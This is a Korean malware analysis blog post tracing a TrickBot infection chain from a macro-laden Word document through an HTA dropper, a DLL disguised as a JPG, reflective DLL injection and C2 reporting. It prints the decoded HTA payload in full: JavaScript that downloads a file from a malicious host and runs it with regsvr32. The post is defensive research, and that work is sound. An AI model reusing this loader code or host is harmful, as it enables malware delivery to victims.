Trickbot Research
2021, Sep 17  
데이터분석팀

본 글에서는 뱅킹 트로이 목마로 알려진 TrickBot을 분석하여 동작 과정과 사용된 공격 기술을 살펴보고자 합니다.

TrickBot 개요

1. TrickBot이란?

Trojan.TrickBot은 기업과 개인을 대상으로 은행 정보 및 사용자 자격 증명, 암호 화폐 지갑 등과 같은 데이터를 훔치는 것이 주 목적인 뱅킹 트로이 목마 악성코드입니다. 다른 이름으로는 Trickster, TrickLoader, TheTrick 등이 있습니다.

2016년 10월에 TrickBot이 처음 식별되었을 때는 금융 데이터를 훔치는 뱅킹 트로이 목마로 활동하였지만, 이후에 지속적으로 새로운 기능들을 추가함에 따라 고도로 모듈화된 악성코드로 진화하였습니다. 특히, TrickBot은 관리자 권한을 획득하여 네트워크 내에서 확산되어 추가 악성 페이로드를 전달하는 기능을 수행합니다.

Untitled

출처 : https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/

가장 일반적인 공격 체인은 Emotet과 마찬가지로 악성 스팸(malspam)캠페인을 통해 시작되어 TrickBot 및 다른 로더를 로드합니다. 다음으로 PowerShell Empire 및 Cobalt Strike와 같은 공격 도구를 사용하여 영향을 받는 네트워크 내로 Lateral Movement(TA0008)하여 발판을 마련하여 목표를 달성합니다. 마지막 단계에서는 Conti 또는 Ryuk 랜섬웨어가 배포됩니다.[1]

2. TrickBot 특징

TrickBot의 특징은 다음과 같습니다.[2]

  • Dyre와 달리 TrickBot은 C++코드가 대부분을 차지합니다.
  • nltest.exe이나 net.exe와 같은 기본 Windows 도구를 사용하여 초기 정찰을 수행합니다.
  • 탐지를 피하기 위해 svchost와 같은 합법적인 프로세스에 Injection합니다.
  • Windows Defender를 비활성화하고 삭제하려는 시도를 합니다.
  • SHA256이나 AES해싱 루틴을 사용하는 대신 Microsoft의 Crypto API를 사용합니다.
  • Mimikatz 도구를 사용하여 이메일 및 로그인 자격 증명을 수집하는 기능이 있습니다.
  • UAC Bypass기술을 사용하여 관리자 권한으로 실행합니다.
  • EternalBlue Exploit을 사용하여 SMB를 통해 네트워크 내의 Lateral Movement를 수행합니다.

TrickBot 분석


TrickBot을 분석하여 동작 과정을 살펴봅니다.

1. 분석 정보

다음 링크를 통해 TrickBot샘플을 구하여 분석을 진행하였습니다.

[샘플 링크] : https://www.malware-traffic-analysis.net/2021/07/15/index.html

1.1 분석 대상

위 링크에서 2021-07-15-TA551-Trickbot-and-Cobalt-Strike-malware-and-artifacts.zip파일을 압축 해제하여 다음 파일들을 분석하였습니다.

  • docs/prescribe .07.21.doc (89,576 bytes)
  • HTA-and-installer-DLL-files/boxDelInd.hta (3,350 bytes)
  • HTA-and-installer-DLL-files/boxDelInd.jpg (608,387 bytes)

사용자에게 전달되어 User Execution(T1204)에 사용되는 파일은 docs/prescribe .07.21.doc입니다. 해당 파일의 정보는 다음과 같습니다.

파일정보 상세
File Name prescribe .07.21.doc
File Type doc
File Size 89576 Bytes
md5 hash 843f6c0c24bfc31b6a19471935a092da
sha1 hash 7b811d26a4852b9d564c4dab878bd672bbbe7078
sha256 hash cf0de0c3ff0e337e47088e11c0867dda9709eaafa0a1c095c132e9b87722158e
ssdeep 1536:EVHB5EfbL5A3S9Hr11AQYyqGJHQYCDEtU6dLTR97iQ3:AUfbL5iSDxQYNtU6Zvi4

1.2 분석 환경

분석은 VMWare에서 진행되었으며, 이미지 및 사용한 툴에 대한 구성은 다음과 같습니다.

분석환경 상세
OS Windows 10
Tools x96dbg, ProcExp, ProcMon, WireShark, DIE, IDA, CFF Explorer

2. 상세 분석

2.1 prescribe .07.21.doc 분석

먼저, 초기 감염시 사용되는 파일인 prescribe .07.21.doc을 분석합니다. 사용자가 피싱 이메일을 통해 Word문서 파일을 전달받아 Open하게 됩니다.

Untitled (3).png

[ 그림 1. prescribe .07.21.doc 파일 내용 ]

prescribe .07.21.doc 파일을 열면 [콘텐츠 활성화]가 뜨게 되고, 파일 내용에 무언가가 쓰여져 있는 것을 확인할 수 있습니다. 만일, 사용자가 [콘텐츠 활성화]를 누르게 되면 Word파일에 내장된 악성 매크로가 실행되면서 초기 감염이 시작됩니다.

Untitled

[ 그림 2. Word파일에 저장된 악성 매크로 ]

매크로를 확인해보면 document_open()main() 2개가 존재하며, Visual Basic으로 코딩되어 있습니다.

  • document_open() : 문서가 열릴 때 실행되며, 바로 main을 실행합니다.
  • main() : captionDeleteCur()과 arrayObjectButt()가 차례대로 실행합니다.
    • captionDeleteCur() : Word문서 내에 특정 부분을 추출하여 C:\programdata\boxDelInd.hta이름으로 저장합니다.

      Untitled

      [ 그림 3. boxDelInd.hta 파일 저장 ]

    • arrayObjectButt() : 앞서 저장된 C:\programdata\boxDelInd.hta파일을 cmd를 통해 실행합니다.

요약

prescribe .07.21.doc를 열면 악성 매크로가 실행되어 C:\programdata\boxDelInd.hta파일을 Drop한 뒤 cmd를 통해 실행됩니다.

2.2 boxDelInd.hta 분석

.hta파일은 HTML 애플리케이션 파일로 브라우저에 연결되어 실행되는 HTML과 달리 기본 창으로 실행되는 파일입니다. 실제로는 Windows 유틸리티인 mshta.exe를 통해 .hta파일을 실행합니다.

2.2.1 코드 흐름 확인

Untitled (4).png

[ 그림 4. boxDelInd.hta(1) ]

해당 파일은 html포맷 형태이며 javascript와 vbscript로 구성되어 있습니다. 그림 4.을 보면 mainSetDel변수에 난독화되어 있는 문자열이 있는 것을 확인할 수 있습니다.

Untitled

[ 그림 5. boxDelInd.hta(2) ]

mainSetDel에 있는 문자열들은 “aGkh”를 기준으로 3개의 문자열로 split되고, 각각 dataDocSz[0], [1], [2]에 들어갑니다. 또한, 난독화되어 있는 문자열들은 refSelbutton()에 의해 decoding되어 ctrlTempCapt, setVal변수에 저장됩니다.

Untitled

[ 그림 6. boxDelInd.hta(3) ]

마지막으로, decoding된 문자열들은 ctrlIData()의 인자 값으로 들어가 실행됩니다.

디코딩된 문자열은 다음과 같습니다.

ctrlTempCapt

var referenceValue = new ActiveXObject("msxml2.xmlhttp");
referenceValue.open("GET", "http://airloweryd.com/adda/VbJkW1EuzDNQrIxQDvH/IDcQzbYyMGhWy06DDsSHeUAK3GHQkEbCL8w9/E1xx4lOEKH7E8cHocpfeqr0ZLSG0IPv9dSbLJ7VFg9tdg42g/k81pzGewugMThHD6HmhhV3/I9gjfu3RhqvK0Lzw9TIkWDWI5kGNNPWaOt9Vl6iE64QsjeM/Tx8tV7HlFYHyY5KNaUVj5pPO74xv3RG7he/Ba3uo8Ybu6HFexi9spmowa0zgOOp1OS9E6MvubDFn01/66956/4157/rymes2?sid=Qj9QvQEkA9&ref=4USoX5E3EMI&qatj0z=s03jN&DEz=lSAm&ref=3iiqNuFGEWNDfm0JE08XtyxLNf3&sid=2xPqjWeQeOwhE7hrUkCyPp6lM&ref=Bz&D5Zq=l44bPLuTuHocNX0&user=1pMhG", false);
referenceValue.send();
if (referenceValue.status == 200) {
    try {
        var libLibraryBytes = new ActiveXObject("adodb.stream");
        libLibraryBytes.open;
        libLibraryBytes.type = 1;
        libLibraryBytes.write(referenceValue.responsebody);
        libLibraryBytes.savetofile("c:\\users\\public\\boxDelInd.jpg", 2);
        libLibraryBytes.close;
    } catch (e) {}
}

“http://airloweryd.com/adda/VbJkW1EuzDNQrIx…“에 GET요청을 한 뒤, 특정 파일을 내려받아 “c:\users\public\boxDelInd.jpg”이름으로 저장합니다.

setVal

var zeroCollectBtn = new ActiveXObject("wscript.shell");
var libSin = new ActiveXObject("scripting.filesystemobject");
zeroCollectBtn.run("regsvr32 c:\\users\\public\\boxDelInd.jpg");

regsvr32를 통해 앞서 내려받은 “c:\users\public\boxDelInd.jpg”을 실행합니다.

2.2.2 실행 결과 확인

Untitled

[ 그림 7. boxDelInd.hta 실행 후 패킷 내용 확인 ]

ctrlTempCapt에 저장된 javascript가 실행되면, GET요청을 통해 C:\\users\\public\\boxDelInd.jpg파일이 다운로드됩니다.(현재는 Response값으로 404 Error가 나타납니다.) 다음으로 setVal에 저장된 javascript가 실행되면, ActiveX를 사용하여 regsvr32 c:\\users\\public\\boxDelInd.jpg명령줄을 실행됩니다.

요약

boxDelInd.hta파일이 실행되면 c:\\users\\public\\boxDelInd.jpg를 추가적으로 다운로드 받고 regsvr32.exe에 의해 실행됩니다.

2.3 boxDelInd.jpg 분석

다음으로 regsvr32를 통해 실행되는 boxDelInd.jpg를 확인합니다. 참고로, regsvr32는 레지스트리에 DLL을 등록하기 위해서 사용되는 기본 Windows 유틸리티입니다.

2.3.1 파일 정보 확인

Untitled

[ 그림 8. boxDelInd.jpg 파일 정보 ]

확장자는 jpg이지만 실제로는 PE파일 포맷의 DLL형태입니다. 추가적으로, 현재 리소스 섹션의 엔트로피 수치가 7점대인 것을 미루어 보아 패킹되어 있거나 난독화 또는 암호화가 되어있을 확률이 높습니다.

2.3.2 코드흐름 파악

① DllRegisterServer()

DllRegisterServer()는 boxDelInd.jpg의 Export함수로 regsvr32.exe툴을 실행했을 때 호출되는 함수입니다.

Untitled

[ 그림 9. DllRegisterServer() ]

get_func_addr()을 통해 VirtualAlloc(), VirtualAllocExNuma(), LdrFindResource_U(), LdrAccessResource() 함수들을 동적으로 주소를 가져옵니다. 다음으로 get_rsrc_copy()를 호출하여 리소스 영역에 있는 데이터를 가져오고, decoding합니다. 마지막으로 decoding된 리소스 데이터는 실행가능한 명령어로 변환되어 실행됩니다.

② v9() - ReflectiveLoader Shellcode

앞서 디코딩된 리소스 데이터의 총 크기는 0x33b33byte이며, 쉘 코드와 PE파일로 나눠져있습니다.

Untitled

[ 그림 10. Reflective Shellcode + DLL ]

위 그림을 살펴보면 v9()호출을 통해 제일 먼저 실행되는 쉘 코드는 0x0 ~ 0x52Dbyte까지이며 , 0x52E부터 0x33b33byte까지 DLL임을 확인하였습니다.

쉘 코드가 수행하는 기능은 ReflectiveLoader로써 쉘 코드 밑에 존재하는 DLL을 다시 regsvr32.exe프로세스에 Injection합니다. 코드 흐름은 다음과 같습니다.

Untitled

[ 그림 11. Reflective Shellcode(1) ]

다음과 같이 Reflective DLL Injection을 하기 위해 필요한 함수들을 구하고, 메모리 할당을 합니다.

  • LoadLibraryA()
  • GetProcAddress()
  • VirtualAlloc()
  • VirtualProtect()
  • ZwFlushInstructionCache()
  • GetNativeSystemInfo()

Untitled

[ 그림 12. Reflective Shellcode(2) ]

할당된 메모리에 DLL의 헤더와 섹션 데이터, IAT 작성을 합니다. 재배치까지 끝나면 ZwFlushInstructionCache()를 통해 code섹션의 cache를 갱신해줍니다.

③ Reflective DLL - Run Shellcode

Untitled

[ 그림 13. Reflective DLL ]

Injection된 DLL은 DllRegisterServer()를 호출합니다. 메모리를 새로 할당한 뒤, dword_10001040변수에 저장된 데이터를 Decoding하여 실행 가능한 코드로 변환되어 실행됩니다. 이후에 Shellcode는 wermgr.exe프로세스를 하나 생성한 뒤에 악성 행위를 수행합니다.

본 글에서는 Shellcode에 대해서 다루지 않으며, Shellcode가 어떻게 wermgr.exe프로세스에 Injection하고 어떠한 악성 행위들을 수행하는 지에 대해서는 추가적인 분석을 진행할 예정입니다.

3. TrickBot 악성 행위

3.1 Execution

다음 그림은 사용자가 악성 Word파일을 실행시켰을 때의 프로세스 상황입니다.

Untitled

[ 그림 14. boxDelInd.hta 실행 후 프로세스 내용 확인 ]

WINWORD.EXE을 시작으로 cmd.exe, mshta.exe, regsvr32.exe가 차례대로 수행된 것을 확인할 수 있습니다. 최종적으로 regsvr32.exe를 통해서 boxDelInd.jpg라는 이름의 악성 DLL을 레지스트리에 등록하게 됩니다.

3.2 Persistence

Untitled

[ 그림 16. 작업 스케쥴러 등록 ]

로그온시 regsvr32.exe를 통해 zpbox.DelIndhj.trd(dll)을 등록합니다.

Untitled

[ 그림 17. 해쉬 값 비교 ]

해쉬 값 비교를 통해 해당 파일은 처음 분석했던 boxDelInd.jpg와 동일한 것을 알 수 있습니다.

3.3 Discovery

다음은 C2서버로 보내는 패킷 내용 중 일부입니다.

Untitled

[ 그림 18. 시스템 관련 정보 유출 패킷 ]

호스트 시스템의 프로세스 및 서비스, DLL 등 시스템 정보를 보냅니다.

Untitled

[ 그림 19. 네트워크 관련 정보 유출 패킷 ]

호스트 시스템의 네트워크 정보를 보냅니다.

4. 정리

지금까지 분석한 내용을 바탕으로 TrickBot이 어떻게 수행하는지 간략하게 표현하였습니다.

Untitled

[ 그림 20. 전체 동작 과정 ]

① 문서 파일을 열면 악성 매크로가 실행됩니다.

② 피해자 시스템에 C:\programdata\boxDelInd.hta를 저장합니다.

boxDelInd.hta가 실행되면서 Server에 boxDelInd.jpg를 요청합니다.

④ 요청 결과로 c:\\users\\public\\boxDelInd.jpg를 다운로드하게 됩니다.

regsvr32.exe boxDelInd.jpg를 실행하면서 boxDelInd.jpg이름을 가진 DLL파일을 등록합니다.

boxDelInd.jpgDllRegisterServer()가 실행되면서 Resouce데이터를 Decoding하여 Shellcode를 실행시킵니다.

ShellcodeReflective Dll Injection을 통해 DLL을 로드시킵니다.

⑧ DLL은 다시 난독화된 Shellcode를 자체적으로 Decoding하고 실행시킵니다.

Shellcodewermgr.exe프로세스에 Injection을 수행합니다.

wermgr.exe에서 자식 프로세스를 생성하여 악성 행위를 수행합니다.[6]

References


[1] https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/#discovery

[2] https://www.enigmasoftware.com/trojantrickbot-removal/

[3] https://www.malware-traffic-analysis.net/2021/07/15/index.html

[4] https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/

[5] https://sanseolab.tistory.com/66

[6] https://blog.alyac.co.kr/3423

[7] https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/15/simulating_trickyma-Yjn5.html